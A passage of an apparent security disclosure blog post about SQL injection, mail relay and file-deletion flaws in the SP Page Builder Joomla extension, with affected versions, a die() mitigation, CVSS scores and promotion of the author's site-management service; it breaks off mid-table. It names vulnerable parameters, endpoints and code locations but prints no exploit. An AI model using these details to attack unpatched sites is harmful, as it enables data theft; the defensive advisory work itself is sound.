&lt;p&gt;The &lt;strong&gt;media manager’s JSON view&lt;/strong&gt; built its search query by pasting the &lt;code&gt;search&lt;/code&gt; and &lt;code&gt;date&lt;/code&gt; request values directly into the SQL with no escaping (&lt;code&gt;media.php&lt;/code&gt;, in &lt;code&gt;getDateFilters()&lt;/code&gt; and &lt;code&gt;getTotalMedia()&lt;/code&gt;), a SQL injection reachable by that low-privilege author, and with no CSRF token on the view. The &lt;strong&gt;media delete action&lt;/strong&gt; removed a file at a path taken from the request, with only cosmetic filtering and none of the traversal guard the sibling delete paths use (&lt;code&gt;media.php:804&lt;/code&gt;), so an author holding only the create permission could delete any file in the web root, &lt;code&gt;configuration.php&lt;/code&gt; or a protective &lt;code&gt;.htaccess&lt;/code&gt; included. Deleting the wrong file can break a site or strip a defence ahead of a further attack. The fixes add the missing input validation and the missing path boundary check.&lt;/p&gt;
&lt;h2&gt;The fifth flaw that 6.7.1 did not fix&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Added 10 August 2026.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;SP Page Builder 6.7.1 was credited with fixing five issues: our four, plus &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt;, an unauthenticated SQL injection through the &lt;code&gt;catid&lt;/code&gt; parameter of the &lt;code&gt;loadMoreArticles&lt;/code&gt; endpoint. That fifth one was not ours and, as we wrote at the time, we had not tested it. We have now read the shipping 6.7.1 package, and the flaw is still in it.&lt;/p&gt;
&lt;p&gt;The endpoint takes its parameters straight out of the raw request body with no login, no permission check and no CSRF token of any kind, which puts it a step below even the Dynamic Content endpoint above. The category list it receives is meant to be forced to integers before it reaches the database. It is, in one place. But the same untouched value is given to the helper that expands a category into its subcategories one line &lt;em&gt;earlier&lt;/em&gt;, and that helper pastes the list straight into a SQL &lt;code&gt;IN()&lt;/code&gt; clause. The sanitisation exists; it simply runs one line too late to matter.&lt;/p&gt;
&lt;p&gt;The consequence is the one the CVE describes and 6.7.1 was supposed to have removed: an anonymous visitor can read the whole database, password hashes included. We are not publishing a request; the vendor has already described the location publicly in their own support forum, and the flaw is reported to be under active exploitation, so the useful thing to publish is the mitigation.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Fixed in 6.8.0, released 12 August 2026&lt;/p&gt;&lt;p&gt;JoomShaper released 6.8.0 on 12 August 2026, sixteen days after 6.7.1, with the changelog entry “Fixed an unauthenticated SQL injection in the article loading endpoint”. We read the released package the same day: the category list is now passed through an integer cast before it reaches the subcategory helper, so the ordering problem described above is gone. Update to 6.8.0 or later.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Before 6.8.0 existed, the only option was to close the endpoint by hand. It is kept here for anyone who cannot update immediately. Edit &lt;code&gt;components/com_sppagebuilder/controllers/articles.php&lt;/code&gt; and make &lt;code&gt;die();&lt;/code&gt; the first statement inside &lt;code&gt;loadMoreArticles()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; loadMoreArticles&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    die&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $app &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Factory&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;getApplication&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That blocks the attack. It also switches the endpoint off, so the “Load more” button on article list addons stops returning results until you take the line out again. If you applied this between 10 and 12 August, remove it once you are on 6.8.0 or the button stays broken.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;SP Page Builder &lt;strong&gt;6.7.0&lt;/strong&gt;, the current release at the time of disclosure, and &lt;strong&gt;every earlier version&lt;/strong&gt; are affected by the four issues we reported. JoomShaper fixed those in SP Page Builder &lt;strong&gt;6.7.1&lt;/strong&gt;. This is separate from the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;June 2026 icon-upload flaw&lt;/a&gt; fixed in 6.6.2: you want to be on 6.6.2 or later for that one, and 6.7.1 or later for these.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt;, the fifth issue, is the exception. It affects &lt;strong&gt;6.7.1 as well&lt;/strong&gt;, and there is no fixed release yet. JoomShaper has said 6.8.0 will close it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;If you run any version of SP Page Builder earlier than 6.7.1, assume your site is affected and update now. The critical SQL injection and the mail relay both need no real login, so if the site is online, the endpoints are reachable. 6.7.1 is no longer enough either: update to 6.8.0, which fixes &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt; and the separate pre-authentication code execution flaw we reported on 27 July.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How do you update SP Page Builder safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull SP Page Builder 6.7.1. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade SP Page Builder across every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, check SP Page Builder reports 6.7.1 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 6.8.0,&lt;/strong&gt; which fixes &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt; and the pre-authentication code execution flaw reported separately. If you applied the hand mitigation below while waiting, remove it afterwards.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door on the four issues we reported. It does not undo any data an attacker may already have read through the SQL injection, so if you handle sensitive data and were on a vulnerable version for a while, treat credentials and exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;How do I find every SP Page Builder site I manage?&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view. mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for SP Page Builder once and get back every connected site running it, the version each one is on, and whether an update is available.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View every SP Page Builder install across your sites&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Search for SP Page Builder across every connected Joomla site and filter for anything earlier than 6.7.1. We also flag every site sitting on 6.7.1 itself, for the fifth issue that release did not fix. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Why page builders keep producing this&lt;/h2&gt;
&lt;p&gt;Page builders make attractive targets for the same reason they are useful: they render content through front-end endpoints that anonymous visitors are meant to reach. An element that loads a list of tags, a contact form that accepts a submission, none of it can require a login, because the whole point is that visitors use it. Every one of those public endpoints is attack surface, and when the code behind them trusts request input, an anonymous visitor becomes an anonymous attacker.&lt;/p&gt;
&lt;p&gt;We have seen the same shape across the ecosystem this year, from &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Quix&lt;/a&gt; and the wider &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla disclosures&lt;/a&gt;. Page builders are worth using. The ones that accept input from anonymous visitors simply need updating the moment a fix exists, which makes these updates security-critical rather than feature maintenance.&lt;/p&gt;
&lt;p&gt;On the engineering, JoomShaper did the right things. They shared a pre-release build for us to verify, fixed all four issues, hardened a couple of related weaknesses we flagged while checking that build, and told their users to update in a public security notice covering both the Pro and free editions.&lt;/p&gt;
&lt;p&gt;On the disclosure, once again they gave mySites.guru no acknowledgement. They shared that pre-release build on 23 July, then shipped the final 6.7.1 without telling us it was going out. Their changelog also plays the severity down: a pre-authentication SQL injection that hands an anonymous visitor your entire database is written up as “improved input validation and access control”, and an unauthenticated open mail relay as “improved submission verification”. A site owner reading that has no way to tell how serious either was. We saw the same pattern from the same vendor days earlier with &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt;, where three serious flaws were closed as routine changelog lines with no advisory and no credit. A month later we found &lt;a href=&quot;https://mysites.guru/blog/t4-page-builder-2-3-0-mail-relay-fix/&quot;&gt;the same open-relay shape in JoomlArt’s T4 Page Builder&lt;/a&gt;, reached through a different route and written up in the same reassuring register.&lt;/p&gt;
&lt;p&gt;That is also the backdrop to the August update above. Faced with a critical flaw their own release did not close, one under active exploitation with no patch available, JoomShaper have named the affected endpoint in a public support forum thread and told customers a fix is coming in the next release. That tells attackers exactly where to look and leaves defenders with nothing to install. The order matters: ship the fix, then explain it.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like these. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;&lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;The worst finding is a SQL injection (CWE-89) reachable by an anonymous visitor over the network, stopped only by a CSRF token that Joomla issues to everyone. The mail relay stems from a hardcoded, product-wide secret (CWE-798) and yields unauthenticated arbitrary mail sending with sender spoofing. The remaining two, a media-manager SQL injection and an arbitrary file delete via path traversal (CWE-22), need a low-privilege authenticated author.&lt;/p&gt;
&lt;p&gt;The Joomla CNA assigned four CVE IDs for these findings on 27 July 2026, the day 6.7.1 shipped. All four have now published with full descriptions and scores, so the mapping we promised is below.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Finding&lt;/th&gt;&lt;th&gt;CNA score&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65766/&quot;&gt;CVE-2026-65766&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Pre-authentication SQL injection, &lt;code&gt;order&lt;/code&gt; parameter, Dynamic Content endpoint&lt;/td&gt;&lt;td&gt;9.2 Critical&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65879&quot;&gt;CVE-2026-65879&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated mail relay via a hardcoded, product-wide secret&lt;/td&gt;&lt;td&gt;9.8 Critical&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65877/&quot;&gt;CVE-2026-65877&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Authenticated SQL injection in the media manager&lt;/td&gt;&lt;td&gt;8.2 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65878&quot;&gt;CVE-2026-65878&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Authenticated arbitrary file delete&lt;/td&gt;&lt;td&gt;8.3 High&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The CNA scored the pre-authentication SQL injection 9.2 Critical. We scored it 8.7 High, for the reason set out below. Where the two differ, the CNA’s number is the one that travels with the CVE.&lt;/p&gt;
&lt;p&gt;There is also a fifth CVE against the same version range. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt; is an unauthenticated SQL injection through the &lt;code&gt;catid&lt;/code&gt; parameter of the &lt;code&gt;loadMoreArticles&lt;/code&gt; endpoint, scored 9.2 Critical. It is not one of the four issues we reported.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Corrected 10 August 2026&lt;/p&gt;&lt;div&gt;&lt;p&gt;When this post first went out we wrote that 6.7.1 fixed five issues, not four. That was wrong. We took the CVE record’s word for it rather than reading the code, because the fifth finding was not ours. Having now read the shipping package, 6.7.1 fixes four issues. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt; is still there, &lt;a href=&quot;#the-fifth-flaw-that-671-did-not-fix&quot;&gt;as set out above&lt;/a&gt;, and the CVE record still incorrectly lists 6.7.1 as the fixed version.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We score every issue under CVSS 4.0. The pre-authentication SQL injection comes out at &lt;strong&gt;8.7, High&lt;/strong&gt;, the top of the High band, where CVSS 4.0 caps a single maximal impact reached with no privileges. A full-database read is a total loss of confidentiality regardless of where the number falls.&lt;/p&gt;
&lt;p&gt;Each finding, our own score, worst first:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;mySites.guru assessment (the Joomla CNA scored this one 9.2 Critical, see above) · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65766/&quot;&gt;CVE-2026-65766&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Pre-authentication SQL injection, the worst of four findings. Reachable over the internet with only the CSRF token Joomla hands to every visitor. Ends in full read access to the site database, password hashes and the site secret included.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Full database read&lt;/span&gt;&lt;span&gt;Password hashes exposed&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;7.2&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;mySites.guru assessment (the Joomla CNA scored this one 8.3 High, see above) · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65878/&quot;&gt;CVE-2026-65878&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Authenticated arbitrary file delete.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:L&lt;/dt&gt;&lt;dd&gt;Low: Any logged-in account will do&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;7.1&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;mySites.guru assessment (the Joomla CNA scored this one 8.2 High, see above) · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65877/&quot;&gt;CVE-2026-65877&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Authenticated media-manager SQL injection.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:L&lt;/dt&gt;&lt;dd&gt;Low: Any logged-in account will do&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.9&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;mySites.guru assessment (the Joomla CNA scored this one 9.8 Critical, see above) · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65879/&quot;&gt;CVE-2026-65879&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Unauthenticated mail relay (sender spoofing).&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data on other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;CVSS 4.0 scores the mail relay &lt;strong&gt;6.9, Medium&lt;/strong&gt;, because the direct impact on the Joomla system is low: it reads and changes nothing on the site itself. That number understates the practical risk, which is phishing sent from your own domain and mail server, and the mail-reputation damage that follows. We treat it as a priority fix regardless.&lt;/p&gt;

































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;SP Page Builder for Joomla (&lt;code&gt;com_sppagebuilder&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Pre-auth SQL injection (CWE-89); unauthenticated mail relay via hardcoded secret (CWE-798); authenticated SQL injection (CWE-89); authenticated arbitrary file delete (CWE-22)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;8.7 (High) pre-auth SQL injection; 7.2 (High) file delete; 7.1 (High) media SQL injection; 6.9 (Medium) mail 